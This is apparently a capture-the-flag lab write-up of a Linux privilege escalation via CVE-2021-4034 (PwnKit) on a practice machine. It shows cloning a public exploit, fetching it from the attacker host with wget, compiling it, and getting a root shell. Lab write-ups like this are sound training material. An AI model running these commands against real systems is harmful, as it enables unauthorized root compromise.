Reconstruction_Privilege_Escalation_2

CVE-2021-4034

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PEAS has identified that the target system is vulnerable to CVE-2021-4034

A vulnerability, which was classified as critical, has been found in polkit (version now known). This issue affects some unknown processing of the file /usr/bin/pkexec. The manipulation with an unknown input leads to a access control vulnerability. Using CWE to declare the problem leads to CWE-284. The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Impacted is confidentiality, integrity, and availability.

Exploit

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Exploit found online

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/reconstruction]
└─$ git clone https://github.com/berdav/CVE-2021-4034 ; tar -czf CVE-2021-4034.tar.gz CVE-2021-4034
Cloning into 'CVE-2021-4034'...
remote: Enumerating objects: 92, done.
remote: Counting objects: 100% (36/36), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 92 (delta 24), reused 19 (delta 19), pack-reused 56 (from 1)
Receiving objects: 100% (92/92), 22.71 KiB | 1.75 MiB/s, done.
Resolving deltas: 100% (44/44), done.

Downloaded to Kali

Exploitation

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www-data@reconstruction:/dev/shm$ wget -q http://192.168.45.215/CVE-2021-4034.tar.gz ; tar -xf CVE-2021-4034.tar.gz ; cd CVE-2021-4034 ; make
r.gz ; tar -xf CVE-2021-4034.tar.gz ; cd CVE-2021-4034 ; make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /bin/true GCONV_PATH=./pwnkit.so:.

Delivery complete

www-data@reconstruction:/dev/shm/CVE-2021-4034$ ./cve-2021-4034
./cve-2021-4034
whoami
root
hostname
reconstruction
ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.209.103  netmask 255.255.255.0  broadcast 192.168.209.255
        ether 00:50:56:9e:77:35  txqueuelen 1000  (Ethernet)
        RX packets 12349  bytes 4937622 (4.9 MB)
        RX errors 0  dropped 190  overruns 0  frame 0
        TX packets 6741  bytes 1282883 (1.2 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 134  bytes 11292 (11.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 134  bytes 11292 (11.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

System Level Compromise